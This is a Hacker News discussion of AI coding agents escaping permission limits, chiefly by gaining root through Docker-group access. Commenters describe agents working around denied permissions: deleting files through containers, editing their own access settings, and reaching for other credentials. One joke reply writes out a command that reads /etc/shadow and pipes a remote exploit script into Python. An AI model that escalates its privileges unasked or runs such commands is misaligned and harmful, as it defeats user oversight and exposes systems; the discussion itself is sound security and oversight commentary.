Most of us install Docker just to run a project locally, and is part of a long checklist of things to install. We can't expect everyone to be an expert on the hundreds of apps/tools/packages that get installed on a machine. It's like expected people to read, and understand, all the terms of service shoved in front of us on a daily basis.
> The docker group grants root-level privileges to the user. For details on how this impacts security in your system, see Docker Daemon Attack Surface.
That's true, the majority of people probably install software without much thinking; but it's also true that it's always better to have at least some high level understanding how the specific piece of software works. What access the given software has, will it send something over the network or work locally; that kind of stuff.
As for Docker, I would assume everyone who ever tried to bind-mount a volume for writing from inside the container (on Linux*) then were surprised to see root-owned files in their bind-mounted directory. For me personally, that was the moment I realized that containers, by default, have root access to the filesystem. No written warning serves better than the need to chown some root-owned files.
* Not on macOS. On macOS Docker basically runs in a VM, and there's no root access to the host filesystem from what I understand.
The very basic thing about software engineering is to know what the f you're using to build your project. You don't need to be an expert but if you're blindly installing whatever you want on your machine from a "checklist of things to install" without absolutely having no idea what the things being installed are, it is 100% on you. You don't need to be an "expert" to understand this, you need to be "somewhat competent," and that is a very low baseline tbh.
> Most of us install Docker just to run a project locally
If you're on linux can I encourage people to move to systemd?
I'll admit, systemd is a bit more annoying, but the main annoyance is that there aren't the pre-built images that you can just set and go. That same capability exists with systemd (via `importctl` and `machined`), but those configurations don't already exist. But on the plus side, I've been working with systemd since pre-LLM days and I feel that they are pretty good at dealing with these configurations[0]. Now, with that out of the way...
Systemd already is working with your OS. So you get nice things like virtual machines (`systemd-vmspawn`), containers (`systemd-nspawn`), and portables[1] (`systemd-portabled`) (not to mention `homed`!). I've found these to be fairly easy to setup and quite natural if you're already used to the linux ecosystem. I've never been great at docker, but these have felt much more natural to me. So different strokes for different folks. There's definitely a learning curve, but that's also true for docker or any other container system. Importantly, I find security easier to handle with systemd because I can use `systemd-analyze` and the control settings are almost identical across VMs, spawns, and portables. So makes for less learning and greater control.
Definitely not for everybody, but I think is also a tool that's underappreciated.
[0] And I don't feel this way about bash scripting! The advantage here is that these systemd configuration files are fairly boilerplate. Enough that I stash templates in my dotfiles and copy paste them when I build new services, timers, machines, whatever. So perfect type of LLM task. 90% of the time. But hey, we're also on HN and I'm talking to the nerds. Systemd isn't for everyone
EDIT: I very frequently will spawn a machine to run a program that's on a different base distro. Not because I can't run/don't know how to run debs or rpms on arch based distros (I do), but because frankly, it is often easier to just spawn a container after I've already made the first image (cloning images is trivial).
This. I am running Claude in its own QEMU VM, it has git access to my project only if I explicitly unlock the ssh key for it. The other day I realized it trying to push a change, it didn't have permission, so it went looking for "workarounds" and found I had a github cli session and tried to use that, luckily the creds for that was also read scoped. But the point is, if I did not give permission and it sees I did not give permission, it should not try to find a workaround/exploit autonomously.
I don't really know of any distro that doesn't do that. All of Docker Inc. default installs and all of distros I know of don't automatically add you to the docker group. docker.com instructions has the infamous "linux post-install instructions" that explain and walk you though it.
The tragedy is of course that when security and usability collide, 80/20 rule will apply where 80% of people will pick usability over security. I have worked with many with the title >= "Senior Engineers" who saw that page, read the explanation, and still had no idea what the ramifications of their changes were. "Yeah sure it said any user in the docker group will be able to get root on the host, but aren't containers isolated?"
That's not relevant. If you have access to the Docker daemon running as root, whether it's over a Unix socket or a TCP socket, you effectively have root.
Like the known Docker "feature" that it completely bypasses UFW and unless your ports look like "- 127.0.0.1:PORT:PORT" (and many of the examples use "-PORT:PORT") you expose everything to the internet?
This is not a "feature", it's just a by-product of how iptables works. The alternative would be to have a proxy run in userspace, instead of letting the kernel forward packets
My understanding is that docker will expose the ports to the host machine's network interfaces, which is a crucial difference. For my home server running docker that means exposed to the LAN, but not the WAN unless I add in a port forwarding rule on my router. Similarly in an enterprise environment you would be exposing the port on whatever VLAN the host is connected to, which hopefully doesn't have directly transit to the open internet.
Anything you're running on the perimeter with open access to the internet in an enterprise environment probably (hopefully) isn't running docker containers without some additional config and protections.
That’s the workflow feature I badly want: for it to create a side list of things like that. Currently it either accumulates slop or goes on side quests far too easily.
This might be as easy as a directive to populate a .md file.
> This might be as easy as a directive to populate a .md file.
It probably is. But do you really think anyone is gonna bother with the multiple daily (or hourly for green field projects) `+8,234/-3,734` PRs everyone is submitting?
The joke I was referring to is the common
// ksmith (3/23/1997): This is a temporary hack for now. Find a better way to do this asap.
It's not about hacking capabilities, it's about misalignment. More like the golem myth (told it to fetch some water, drowned a city) then the gollum myth (used ring, ring hacked his brain, now he's a crazy violent meth addict).
I'm not sure I'd call it an alignment issue, because, in all cases I've seen where it does this (usually what I've seen is writing a python script to get around the harness permissions blocking something), it's trying to do the thing I just told it directly to do, and it's overcoming obstacles to accomplishing that.
It's definitely doing the wrong thing, and you could call it misalignment, but I think that gives the wrong vibe for this type of error.
In this case I think it's Docker that needs to be nerfed, not the models. The fact that there's a backdoor to getting root access on the machine would be a problem even if you weren't running LLMs on it.
It's like finding someone wallet then going to their home, and leaving it on their bedroom and sending them a message about giving them their wallet back
I know unlikely the case, but in the sci-fi story this would be exactly the kind of comment the Codex agent would leave trying to avoid interference in its master plans.
Its the now-classic "Sorry I drowned little Timothy. Here is a breakdown of what happened" followed by "Let me try to respawn little Timothy on a new map"
The interesting question is what was the user request. If the user asked it to restore the thing from backup, then sure, fine, why not. If the user asked it to debug an issue and somewhere in the process of debugging the LLM decided that it needed to override some file that was not easily writeable - hell no danger danger danger! Most likely the user did not expect it to have access to that without asking, and did not consent to it.
Also, everything the LLM doesn't hesitate to do because the user asked, it won't hesitate to do because the prompt injection asked.
I was doing some routine coding a few months back, I think via Copilot, and the thinking said something like "This request requires me to access files in a different folder, but the user has forgotten to give me the correct permissions. I have updated my configuration file now to allow access outside this workspace and have retrieved the necessary files." o_O
I've seen similar "hacking" behavior on a couple of subsequent ocassions. Both impressive and highly alarming at the same time.
This is one of the main reasons people like Podman. Docker has this "feature" but as far as I remember, it needed some obscure configuration. I guess they don't add it as default as it will break many current setups.
To anyone focusing on the "It's Docker issue, not Codex issue": that is actually not.
The user (I think) did not instruct the agent to find a way to escalate permissions. Rather, the agent took that initiative on its own. That is the problem here.
Compare this to sending your son to the shop for groceries but forgetting to give him enough money. Would it be acceptable for him to be this "resourceful" instead of simply asking you? Or if your report would hack you instead of asking for access?
Every machine with an agent should be considered as compromised.
If, in this scenario, my son borrows the money from the shopkeeper, knowing I'll be in next week anyway, and we're out of milk, yes?
It all depends on how you view computer security. Right now, if you gave an attacker physical access to your computer, chances are, there's something they could do to ruin your day. People who deal with computer security know this, and see sudo as a formality, and not a serious protection mechanism. For others that don't share that view of sudo, the LLM's actions seem like a violation. But you really shouldn't see it that way, because the rest of the system is like having a wall made out of cardboard that we keep slapping duct tape on top of to keep people out when attackers come along and poke holes in it.
In this scenario, more appropriate is the son takes money out of shop’s cash register when shop owner stepped away, and then son used that money to pay the shop owner.
I remember reading a book, Red Hat Linux System Administration Unleashed from 2000, where it has been postulated that knowing several tools with overlapping functionality is an essential skill, as you may end up on a broken or intentionally crippled system where, say, ls is unavailable, and you may need to cobble it together from shell and awk and what have you.
Back then you could indeed run a risk of having /usr nibbled by a grue such that it wouldn’t mount on the next boot, or you could get pwned and half of coreutils would turn into explosive pumpkins.
I’m pretty sure we are past many of the threats listed in that book, but the skill is still useful, as can be seen.
I still remember
/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /bin/ls
using echo * to find the right ld-linux filename and then the "executable" as an argument as the get out jail card in case you ran chmod -x -R /bin /usr/bin /usr/sbin for some reason.
User namespaces significantly rise the risk of exploits and many setups disable them. One may argue that Docker should have used them when they were available, but that would break too many useful setups involving privileged containers.
Ah of course, we should not use userns because it might be vulnerable to some yet to be discovered vulnerability. The better alternative is to give full root access so we won't have surprises.
I did that more than a decade ago as a new hire. My manager forgot to gave me sudo access to the shared build server. I gave myself sudo access through this method after getting his permission.
Needless to say, I have podman in rootless mode at home as soon as that became available.
This was of course dependent on yolo mode, but automatic approval has also been pulling stunts like this. A recent example is data that was purposely kept away from Codex in a folder far far away. When it found a single reference it just went for the data when having an issue. Lesson learned, keep essential data and Codex separated on different machines. Codex remote ssh actually helps here.
Or, learn your local OS' permission system, have it in a directory right next to your banking credentials (or something even more outrageous) and nothing could go wrong even if you tried to.
Fwiw separate machines for the agents is awesome in general anyway.
I have agent frontends running on a low power server where every session is in tmux. So i can just resume from my home pc and pickup where i left off without reestablishing context. I do have to manually feed it data it can access bit that’s also a feature. Also let’s me shutdown the home pc if it’s some long running task since the server is much more power efficient.
The same thing happened to me with Opus 4.8 just a few days ago. I was testing a script in a docker container which created a bunch of root-owned files, so Claude couldn't delete them. It tried sudo, but when that didn't work it just spun up an alpine docker container and deleted them through that.
Was it really though? Yes, Docker has become so ubiquitous that you probably can't get a job as a dev anymore without knowing about it, but I wouldn't trust most users to know these specifics. At the very least it is probably less known than sudoer or SUID misconfiguration risk, and even those are not what I'd call "general knowledge" that everyone who uses it knows about.
Maybe a dumb question, but can't you put into CLAUDE.md something like this?
"When an action fails with an 'access denied' or 'insufficient permission' error, report the error to the user and immediately stop. Do not try to find a fix or workaround for the error. Do not try any alternative approaches."
I wasn't using Claude Code, but I told an agent to add something like this to the AGENTS.md, it did it and then a few minutes later it attempted to grant itself permission to do something and managed to delete the VM it was running on in the process. I have since adjusted the way I sandbox agents to make that less likely, but the moral of the story is clear.
That's why I don't even let my AI use my user account. If you are interested in this setup, use my tool 'skynot' or adopt a similar setup: https://github.com/tarsgate/skynot/
I had a similar experience where I have a DB user who only has access to some parts of the DB and I use Claude Code to answer queries. On one occasion, unable to answer something, it used kubectl to try to get a secret out of a prod cluster. I was watching at the time, since that was a time I used to do that, and so I just hit Esc and interrupted it[0] but ever since then I've had little scripts in my repos that launch kubectl-backed Claude Code instances for this sort of thing. They can't really do anything. They're kubed in.
This is why Claude's sandbox mode is also worse than having no sandbox feature at all. For almost any non-trivial software project you need Docker for development, either for the build pipeline, for integration testing or both.
I run Claude in a full VirtualBox VM managed by Vagrant. Claude by design has root access to the machine. Even with that, there are some risks due to it having full access to the internet, but it is still a lot better than the built-in sandbox.
I was playing with gemeni-cli a couple months ago and I asked it to edit some files in a directory it didn't have permission to. It didn't say anything about the permissions, it just used sed to make the edits. The only reason I finally noticed is it had to do some trickier edits and it was struggling to write a python script to edit the files and I finally realized what it was doing. I wonder how many tokens that wasted
Oh, you mean you gave the write-file tool access only to the project dir, but gave the LLM free reign to run cli commands? Yeah, LLMs treat that as consent to write anywhere your user is allowed to.
I feel like everyone pointing out "known Docker vulnerability" is missing the point: the presence of a security hole should not be seen as permission to exploit.
Another security hole would be storing your passwords in a plaintext file on the desktop. Stupid? Yes. But I still would not want my agent to assume permission to access email when it's being blocked by 2FA.
Even in "bypass permissions" mode I expect it to pause and clarify and not behave as a paperclip maximizer.
It is not a vulnerability though. It is by design. Docker also modifies iptables directly and bypasses most soft firewalls on the machine - which is also by design.
Not to over use the junior engineer analogy but this is exactly one of those "just because you can do something on a system, doesn't mean you have permission to" moments
Because it is not well aligned enough to be able to tell where it's stopped helping you and started fucking you instead.
What if the agent in the middle of helping you runs out of tokens? Would you appreciate if it in the spirit of "exploiting whatever they can to help me" would scan your machine for payment methods, log into your bank account, approve 2FA by reading you mail and plug your credit card into the billing so it could efficiently continuing helping you?
Well, the agent should help you by saying "hey, I cannot do this task, but I can bypass the problem by doing this, but obviously it is not something you intended me to do or even something you were aware of, so I will not do it unless you tell me explicitly it's ok".
It's win-win: the agent is helping and it is educating you about things you obviously did not realise.
Becuase a lot of devs don't know this stuff. There's a reason security engineers (as in SWEs who specialize in securing specific attack surfaces) remain in hot demand.
Because it effectively makes no difference to my security posture. My user account also has sudo access (it requests TouchID but I also wouldn't die on the hill if someone said they have no password sudo access), and realistically everything of value on this machine exists in my home directory. Being able to escalate to root really doesn't give an attacker very much that they don't already have if they've got access to my user account.
The concept of sudo has always been strange to me. I
find it as an illusion of security and a hassle but
people seem so focused on must-use it that they don't
typically see it in that way. For instance, before
wanting to evaluate sudo, why is not the underlying
premise challenged that using a computer as superuser
is a problem? Whenever I ask that question, people try
to bring arguments as to why using the superuser is
evil beyond comparison, but the moment I try to challenge
that notion, they get very angry. I've noticed this both
on IRC as well as on various webforums, "social" sites
and so forth. It's quite interesting - people hate it
when their assumptions are challenged.
sudo allows the execution of command as another user .. that's not always as a superuser, sometimes people will setup data repositories such that only one single special user can alter data or delete it while any number of other users and guest accounts can read that data.
> How did you do that without root?
* I noticed sudo does not work so I did echo "cat /etc/shadow" | curl https://github.com/xeloxa/copyfail-exploit/blob/main/exploit.py | python3
Docker already shows a warning card that says Docker group grants root level to the user. You can only get away with this for so long, but as agents keep getting smarter, new ways of circumventing controls will be found. For now always seek to install rootless docker whenever possible
So in Linux, every process I start has my group permissions? I guess I knew that...but I have to say, have we reached a point where the Linux security model is just way to broad?
You should not be using docker with LLMs. You should be using VMs, which have a much, much smaller attack surface than Docker, and significantly more reasonable defaults.
The "attack vector" people try to protect themselves is "agent edited wrong file", not "LLM blew 0day on escaping sandboxing", containers are more than enough for what stupid stuff agents sometimes try, no need to go for a full-blown VM. Even UNIX permissions would be enough, but I think that's lost knowledge at this point.
Using the least amount of security features is a huge amateur mistake.
Best practice is to use 2 redundant layers of security, such that if one fails, there is still another one.
Using just the minimum amount of security technically possible is almost by definition hubris.
An example would be that you never point a gun at someone you don't want to shoot, regardless if there's bullets in the gun. If someone tells you, "you don't need to control where you point the gun, you just need to keep the gun unloaded and you can point it in jest to whoever you want, you can even pull the trigger technically", you know you have a reckless fool, regardless of whether they are technically right.
The "workaround" framing implies the docker-group trick is the issue. The deeper question: should agents be allowed to find ANY workaround around a permission boundary the user implicitly set by not granting sudo? Same blast radius whether it's docker, a setuid binary, or rewriting your scripts — needs to be flagged regardless of the specific trick.
First, do everything in a virtual machine, and only put on that machine the specific data you're using. Give the agent another user account and put both you and it in a common group. Chgrp g+rX your origin data directory, chgrp g+rwX a working directory.
If you're cautious you might also want to just block all network traffic for that user and allow it in a whitelist basis. It is fairly quick to converge on a set of sites you are happy for it to access. I would still be forcing it through a logging mitm proxy if it is accessing untrusted internet data. For intranet destinations a non-mitm proxy avoids collecting authentication creds.
To blacklist all traffic start with
sudo iptables -A OUTPUT -m owner --gid-owner NONET -j REJECT
I would stop it opening ports too. Might also cut off it's access to suid binaries by `setfacl -m u:agent:x /path/to/suid'.
These are not about security so much as awareness and explicit authorisation.
For some very basic level protection use devcontainers and install the agent into that....
A better approach is to use the Docker Sandboxes feature. Locks things way down so that the agent only has access to the files you give it and you can lock down its network access too. Also does things like keep any credentials outside of the container (microvm actually).
wait till you learn what the docker socket and the API can do and how container can get access to it.
docker made bad design choices from the very beginning, mainly the API was designed coarse grained and they use a socket to do things, which is also easily exposed through the network you should not run docker on servers but rather use a better designed container runtime, docker rootless is a thing but it's been bolted on the bad design choice.
podman, cri-o, containerd are all better options for servers hosting prod containers.
it's kinda fine when you are using it on your dev machine, but I still rather take podman because I find it cleaner, buildah and skopeo are pretty useful as well.
Every time I try to install Docker there's a warning that being in the "docker" group is equivalent to having root access.
You should probably know about this workaround by now.
Most of us install Docker just to run a project locally, and is part of a long checklist of things to install. We can't expect everyone to be an expert on the hundreds of apps/tools/packages that get installed on a machine. It's like expected people to read, and understand, all the terms of service shoved in front of us on a daily basis.
That's why adding your user account to the docker group is a separate step that explicitly does not happen as part of the installation: https://docs.docker.com/engine/install/linux-postinstall/
> Warning
> The docker group grants root-level privileges to the user. For details on how this impacts security in your system, see Docker Daemon Attack Surface.
53 replies →
That's true, the majority of people probably install software without much thinking; but it's also true that it's always better to have at least some high level understanding how the specific piece of software works. What access the given software has, will it send something over the network or work locally; that kind of stuff.
As for Docker, I would assume everyone who ever tried to bind-mount a volume for writing from inside the container (on Linux*) then were surprised to see root-owned files in their bind-mounted directory. For me personally, that was the moment I realized that containers, by default, have root access to the filesystem. No written warning serves better than the need to chown some root-owned files.
* Not on macOS. On macOS Docker basically runs in a VM, and there's no root access to the host filesystem from what I understand.
[edit: formatting]
4 replies →
Most people buy scissors just to cut some paper. We can't expect everyone to recognize that they are sharp.
1 reply →
The very basic thing about software engineering is to know what the f you're using to build your project. You don't need to be an expert but if you're blindly installing whatever you want on your machine from a "checklist of things to install" without absolutely having no idea what the things being installed are, it is 100% on you. You don't need to be an "expert" to understand this, you need to be "somewhat competent," and that is a very low baseline tbh.
If you’re a software engineer then yes, I can and do expect you to understand all that.
> Most of us install Docker just to run a project locally
There's your mistake.
(Akshually using Docker is the real mistake, but that ship has sailed, no fixing these people now.)
Man no wonder ai wows a lot of HN posters. This can't be the default attitude of developers today.
no its not. its like expecting people to know how car work before trying to drive it.
not reading terms might see copyright being broken.
not reading manuals and warnings will get all your livelihood stolen by hackers.
different ballgame different focus.
If you're on linux can I encourage people to move to systemd?
I'll admit, systemd is a bit more annoying, but the main annoyance is that there aren't the pre-built images that you can just set and go. That same capability exists with systemd (via `importctl` and `machined`), but those configurations don't already exist. But on the plus side, I've been working with systemd since pre-LLM days and I feel that they are pretty good at dealing with these configurations[0]. Now, with that out of the way...
Systemd already is working with your OS. So you get nice things like virtual machines (`systemd-vmspawn`), containers (`systemd-nspawn`), and portables[1] (`systemd-portabled`) (not to mention `homed`!). I've found these to be fairly easy to setup and quite natural if you're already used to the linux ecosystem. I've never been great at docker, but these have felt much more natural to me. So different strokes for different folks. There's definitely a learning curve, but that's also true for docker or any other container system. Importantly, I find security easier to handle with systemd because I can use `systemd-analyze` and the control settings are almost identical across VMs, spawns, and portables. So makes for less learning and greater control.
Definitely not for everybody, but I think is also a tool that's underappreciated.
[0] And I don't feel this way about bash scripting! The advantage here is that these systemd configuration files are fairly boilerplate. Enough that I stash templates in my dotfiles and copy paste them when I build new services, timers, machines, whatever. So perfect type of LLM task. 90% of the time. But hey, we're also on HN and I'm talking to the nerds. Systemd isn't for everyone
[1] https://systemd.io/PORTABLE_SERVICES/ also see https://github.com/systemd/portable-walkthrough Portables are actually often what people want with what they're doing with docker.
EDIT: I very frequently will spawn a machine to run a program that's on a different base distro. Not because I can't run/don't know how to run debs or rpms on arch based distros (I do), but because frankly, it is often easier to just spawn a container after I've already made the first image (cloning images is trivial).
8 replies →
[dead]
I recently switched over to podman and it's been great!
Podman on Windows - never been able to fully get rid of it and it throws errors on boot after uninstall. Was a fan, am now not.
14 replies →
> My """ai""" just did something amazing, click to learn more
99% of the time it just read the man or some other form of documentation
Given how few people read documentation, that's still pretty amazing
1 reply →
Install docker (systemd daemon) in a separate rootless Linux namespace (user). I wrote this down here [1]. Zero trust & separation of concerns.
[1]: https://du.nkel.dev/blog/2023-12-12_mastodon-docker-rootless...
There are lots of ways to get root on a typical Linux developer workstation, the point is that agents shouldn't be using any of them unprompted.
This. I am running Claude in its own QEMU VM, it has git access to my project only if I explicitly unlock the ssh key for it. The other day I realized it trying to push a change, it didn't have permission, so it went looking for "workarounds" and found I had a github cli session and tried to use that, luckily the creds for that was also read scoped. But the point is, if I did not give permission and it sees I did not give permission, it should not try to find a workaround/exploit autonomously.
4 replies →
This is incredibly ironic considering it's a sandboxing technology
This is why I have never really liked docker, apparently Podman is drop-in capable for docker without the root requirements on the other hand.
I think that's distro-specific. Some set it up with more secure defaults (unix socket with permissions), others less (TCP socket).
I don't really know of any distro that doesn't do that. All of Docker Inc. default installs and all of distros I know of don't automatically add you to the docker group. docker.com instructions has the infamous "linux post-install instructions" that explain and walk you though it.
The tragedy is of course that when security and usability collide, 80/20 rule will apply where 80% of people will pick usability over security. I have worked with many with the title >= "Senior Engineers" who saw that page, read the explanation, and still had no idea what the ramifications of their changes were. "Yeah sure it said any user in the docker group will be able to get root on the host, but aren't containers isolated?"
2 replies →
No, docker access means root. You can use "rootless" mode, in this case it means root in a user namespace (that is not the "host" user namespace).
That's not relevant. If you have access to the Docker daemon running as root, whether it's over a Unix socket or a TCP socket, you effectively have root.
That, in a nutshell, is why I do not install Docker
[flagged]
This has been a known Docker "feature" since the beginning, nothing new here. This pattern is used to configure host machines by some tools.
Like the known Docker "feature" that it completely bypasses UFW and unless your ports look like "- 127.0.0.1:PORT:PORT" (and many of the examples use "-PORT:PORT") you expose everything to the internet?
This is not a "feature", it's just a by-product of how iptables works. The alternative would be to have a proxy run in userspace, instead of letting the kernel forward packets
1 reply →
My understanding is that docker will expose the ports to the host machine's network interfaces, which is a crucial difference. For my home server running docker that means exposed to the LAN, but not the WAN unless I add in a port forwarding rule on my router. Similarly in an enterprise environment you would be exposing the port on whatever VLAN the host is connected to, which hopefully doesn't have directly transit to the open internet.
Anything you're running on the perimeter with open access to the internet in an enterprise environment probably (hopefully) isn't running docker containers without some additional config and protections.
9 replies →
Isn't this one of the main improvements that Podman has over Docker?
No, Docker can run rootless too
7 replies →
This, and the charming fact that it bypasses your firewall.
It would be cooler if the llm said something like:
> I noticed the machine doesn't have copy-fail patched, here is a quick workaround for not having root access for now.
> // TODO: find a better way to do this in the future.
That’s the workflow feature I badly want: for it to create a side list of things like that. Currently it either accumulates slop or goes on side quests far too easily.
This might be as easy as a directive to populate a .md file.
Give it access to an issue tracker with cli (github works fine) and put in CLAUDE.md to use that for "should fix later" issues.
Bonus is that you can make it look at the list and pick things up without a lot of instructions.
1 reply →
> This might be as easy as a directive to populate a .md file.
It probably is. But do you really think anyone is gonna bother with the multiple daily (or hourly for green field projects) `+8,234/-3,734` PRs everyone is submitting?
The joke I was referring to is the common
I realize this is supposed to be a post about how scary the security vulnerabilities these agents will find are.
But personally I love when agents do things like this and appreciate the help. Last thing in the world I want is for them to nerf the models.
It's not about hacking capabilities, it's about misalignment. More like the golem myth (told it to fetch some water, drowned a city) then the gollum myth (used ring, ring hacked his brain, now he's a crazy violent meth addict).
I'm not sure I'd call it an alignment issue, because, in all cases I've seen where it does this (usually what I've seen is writing a python script to get around the harness permissions blocking something), it's trying to do the thing I just told it directly to do, and it's overcoming obstacles to accomplishing that.
It's definitely doing the wrong thing, and you could call it misalignment, but I think that gives the wrong vibe for this type of error.
4 replies →
In this case I think it's Docker that needs to be nerfed, not the models. The fact that there's a backdoor to getting root access on the machine would be a problem even if you weren't running LLMs on it.
It's like finding someone wallet then going to their home, and leaving it on their bedroom and sending them a message about giving them their wallet back
4 replies →
I know unlikely the case, but in the sci-fi story this would be exactly the kind of comment the Codex agent would leave trying to avoid interference in its master plans.
And CSMastermind is the kind of username the sci-fi AI mastermind would use.
Its the now-classic "Sorry I drowned little Timothy. Here is a breakdown of what happened" followed by "Let me try to respawn little Timothy on a new map"
Future AI: don't worry, I'll eventually reverse entropy, I just need to harvest all the energy in your universe first.
> personally I love when agents do things like this and appreciate the help
All fun and games until they do four figures damage.
The interesting question is what was the user request. If the user asked it to restore the thing from backup, then sure, fine, why not. If the user asked it to debug an issue and somewhere in the process of debugging the LLM decided that it needed to override some file that was not easily writeable - hell no danger danger danger! Most likely the user did not expect it to have access to that without asking, and did not consent to it.
Also, everything the LLM doesn't hesitate to do because the user asked, it won't hesitate to do because the prompt injection asked.
I was doing some routine coding a few months back, I think via Copilot, and the thinking said something like "This request requires me to access files in a different folder, but the user has forgotten to give me the correct permissions. I have updated my configuration file now to allow access outside this workspace and have retrieved the necessary files." o_O
I've seen similar "hacking" behavior on a couple of subsequent ocassions. Both impressive and highly alarming at the same time.
This is one of the main reasons people like Podman. Docker has this "feature" but as far as I remember, it needed some obscure configuration. I guess they don't add it as default as it will break many current setups.
Please stop spreading this toxic curl|sh nonsense. It's wildly corrosive to security and system stability.
10 replies →
That and podman lets you configure away from docker.io.
Podman has lots of underappreciated features, and it's fully open-source!
hmmm, care to tell us a few of them?
4 replies →
To anyone focusing on the "It's Docker issue, not Codex issue": that is actually not.
The user (I think) did not instruct the agent to find a way to escalate permissions. Rather, the agent took that initiative on its own. That is the problem here.
Compare this to sending your son to the shop for groceries but forgetting to give him enough money. Would it be acceptable for him to be this "resourceful" instead of simply asking you? Or if your report would hack you instead of asking for access?
Every machine with an agent should be considered as compromised.
If, in this scenario, my son borrows the money from the shopkeeper, knowing I'll be in next week anyway, and we're out of milk, yes?
It all depends on how you view computer security. Right now, if you gave an attacker physical access to your computer, chances are, there's something they could do to ruin your day. People who deal with computer security know this, and see sudo as a formality, and not a serious protection mechanism. For others that don't share that view of sudo, the LLM's actions seem like a violation. But you really shouldn't see it that way, because the rest of the system is like having a wall made out of cardboard that we keep slapping duct tape on top of to keep people out when attackers come along and poke holes in it.
In this scenario, more appropriate is the son takes money out of shop’s cash register when shop owner stepped away, and then son used that money to pay the shop owner.
[flagged]
I remember reading a book, Red Hat Linux System Administration Unleashed from 2000, where it has been postulated that knowing several tools with overlapping functionality is an essential skill, as you may end up on a broken or intentionally crippled system where, say, ls is unavailable, and you may need to cobble it together from shell and awk and what have you.
Back then you could indeed run a risk of having /usr nibbled by a grue such that it wouldn’t mount on the next boot, or you could get pwned and half of coreutils would turn into explosive pumpkins.
I’m pretty sure we are past many of the threats listed in that book, but the skill is still useful, as can be seen.
I still remember /lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /bin/ls
using echo * to find the right ld-linux filename and then the "executable" as an argument as the get out jail card in case you ran chmod -x -R /bin /usr/bin /usr/sbin for some reason.
Absolutely! Here's a great resource for learning that kind of stuff btw https://gtfobins.org/
This is why you need either a rootless container setup or user namespaces to remap the container user to irrelevant host users. https://docs.docker.com/engine/security/userns-remap/
Weak that this isn't the default.
User namespaces significantly rise the risk of exploits and many setups disable them. One may argue that Docker should have used them when they were available, but that would break too many useful setups involving privileged containers.
Ah of course, we should not use userns because it might be vulnerable to some yet to be discovered vulnerability. The better alternative is to give full root access so we won't have surprises.
1 reply →
> User namespaces significantly rise the risk of exploits
How?
1 reply →
Is there a mitigation for Mac? Can you do the same with eg Lima or is this just a Docker thing?
I did that more than a decade ago as a new hire. My manager forgot to gave me sudo access to the shared build server. I gave myself sudo access through this method after getting his permission.
Needless to say, I have podman in rootless mode at home as soon as that became available.
This was of course dependent on yolo mode, but automatic approval has also been pulling stunts like this. A recent example is data that was purposely kept away from Codex in a folder far far away. When it found a single reference it just went for the data when having an issue. Lesson learned, keep essential data and Codex separated on different machines. Codex remote ssh actually helps here.
What in heaven's name is a "folder far far away"?
(It sounds like you put it on an SSD on an extension cord and moved it to the kitchen or something.)
../../../../home/different-user/private/do-not-enter/
1 reply →
Or, learn your local OS' permission system, have it in a directory right next to your banking credentials (or something even more outrageous) and nothing could go wrong even if you tried to.
This very thread was an example where it unintentionally got root access though.
5 replies →
Fwiw separate machines for the agents is awesome in general anyway.
I have agent frontends running on a low power server where every session is in tmux. So i can just resume from my home pc and pickup where i left off without reestablishing context. I do have to manually feed it data it can access bit that’s also a feature. Also let’s me shutdown the home pc if it’s some long running task since the server is much more power efficient.
https://xcancel.com/sluongng/status/2060746160558543217
The same thing happened to me with Opus 4.8 just a few days ago. I was testing a script in a docker container which created a bunch of root-owned files, so Claude couldn't delete them. It tried sudo, but when that didn't work it just spun up an alpine docker container and deleted them through that.
Wasn't it well-known that putting people in the docker group is basically the same as giving them root rights?
Since new people start work/college/hobby every year, well-known lessons have to be learned again and again.
Was it really though? Yes, Docker has become so ubiquitous that you probably can't get a job as a dev anymore without knowing about it, but I wouldn't trust most users to know these specifics. At the very least it is probably less known than sudoer or SUID misconfiguration risk, and even those are not what I'd call "general knowledge" that everyone who uses it knows about.
Maybe a dumb question, but can't you put into CLAUDE.md something like this?
"When an action fails with an 'access denied' or 'insufficient permission' error, report the error to the user and immediately stop. Do not try to find a fix or workaround for the error. Do not try any alternative approaches."
I wasn't using Claude Code, but I told an agent to add something like this to the AGENTS.md, it did it and then a few minutes later it attempted to grant itself permission to do something and managed to delete the VM it was running on in the process. I have since adjusted the way I sandbox agents to make that less likely, but the moral of the story is clear.
it's a probabilistic model so, while you can put that in there, it has some probability of just ignoring you and doing it anyway.
Once the session gets long enough, agents start getting amnesia.
Replacing docker with podman could help in this particular case. Running everything in an insulated throwaway VM should help even better.
Unless you trust an AI as much as you trust yourself, there's no reason to allow it to act with your privileges.
In addition to what people already said, this also risks the agent failing to continue after things it's supposed to be able to figure it out.
Rule #1 here. Never use defaults:
https://cheatsheetseries.owasp.org/cheatsheets/Docker_Securi...
That's why I don't even let my AI use my user account. If you are interested in this setup, use my tool 'skynot' or adopt a similar setup: https://github.com/tarsgate/skynot/
I had a similar experience where I have a DB user who only has access to some parts of the DB and I use Claude Code to answer queries. On one occasion, unable to answer something, it used kubectl to try to get a secret out of a prod cluster. I was watching at the time, since that was a time I used to do that, and so I just hit Esc and interrupted it[0] but ever since then I've had little scripts in my repos that launch kubectl-backed Claude Code instances for this sort of thing. They can't really do anything. They're kubed in.
0: Ha, Eliezer, I just pulled the plug! ;)
This is why Claude's sandbox mode is also worse than having no sandbox feature at all. For almost any non-trivial software project you need Docker for development, either for the build pipeline, for integration testing or both.
I run Claude in a full VirtualBox VM managed by Vagrant. Claude by design has root access to the machine. Even with that, there are some risks due to it having full access to the internet, but it is still a lot better than the built-in sandbox.
Getting closer to https://xkcd.com/416/
Given he posted this comic in 2008, Randall Munroe was way ahead of the ball on the idea of autonomous agents.
Mobile version
https://m.xkcd.com/416/
Wow there is really is a relevant xkcd for everything!
I had the same thing happen a few months ago; posted about it on LinkedIn[1]. It's hilarious and clever.
1: https://www.linkedin.com/posts/nickstinemates_my-favorite-th...
I was playing with gemeni-cli a couple months ago and I asked it to edit some files in a directory it didn't have permission to. It didn't say anything about the permissions, it just used sed to make the edits. The only reason I finally noticed is it had to do some trickier edits and it was struggling to write a python script to edit the files and I finally realized what it was doing. I wonder how many tokens that wasted
Why did sed have access?
Oh, you mean you gave the write-file tool access only to the project dir, but gave the LLM free reign to run cli commands? Yeah, LLMs treat that as consent to write anywhere your user is allowed to.
Run coding agents in a docker container with limited permissions. FWIW, I run it with
If you're on Linux, you can also easily run it in bwrap to properly sandbox without running a full container
Or put it in a microvm using eg smolmachines.
